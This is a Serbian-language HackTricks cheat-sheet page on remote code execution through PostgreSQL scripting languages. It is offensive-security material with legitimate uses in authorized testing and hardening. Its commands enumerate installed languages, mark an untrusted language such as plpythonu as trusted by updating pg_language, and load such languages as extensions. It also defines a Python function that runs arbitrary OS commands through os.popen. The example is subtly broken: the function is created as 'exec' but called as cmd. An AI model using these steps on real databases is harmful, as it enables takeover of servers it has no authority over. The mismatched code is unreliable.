RCE sa PostgreSQL jezicima
Reading time: 6 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
PostgreSQL jezici
PostgreSQL baza podataka kojoj imate pristup može imati različite instalirane skriptne jezike koje možete iskoristiti da izvršite proizvoljan kod.
Možete pokrenuti:
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
Većina skriptnih jezika koje možete instalirati u PostgreSQL ima 2 varijante: pouzdanu i nepouzdanu. Nepouzdana verzija će imati ime koje se završava na "u" i biće verzija koja će vam omogućiti da izvršavate kod i koristite druge zanimljive funkcije. Ovo su jezici koji su zanimljivi ako su instalirani:
- plpythonu
- plpython3u
- plperlu
- pljavaU
- plrubyu
- ... (bilo koji drugi programski jezik koji koristi nesigurnu verziju)
warning
Ako otkrijete da je zanimljiv jezik instaliran ali nepouzdan od strane PostgreSQL (lanpltrusted
je false
) možete pokušati da ga pouzdite sledećom linijom kako bi PostgreSQL primenio bez ograničenja:
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# Da proverite svoja prava nad tabelom pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
caution
Ako ne vidite jezik, možete pokušati da ga učitate sa (morate biti superadmin):
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;
Napomena da je moguće kompajlirati sigurne verzije kao "nesigurne". Proverite ovo na primer. Tako da uvek vredi pokušati da izvršite kod čak i ako pronađete samo instaliranu pouzdanu verziju.
plpythonu/plpython3u
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
pgSQL
Proverite sledeću stranicu:
C
Proverite sledeću stranicu:
RCE with PostgreSQL Extensions
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.